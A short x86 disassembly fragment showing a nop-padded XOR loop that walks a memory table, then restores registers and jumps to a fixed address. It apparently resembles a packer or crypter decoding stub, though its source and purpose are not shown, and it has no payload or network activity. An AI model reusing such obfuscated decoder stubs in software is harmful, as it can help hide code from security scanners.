nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219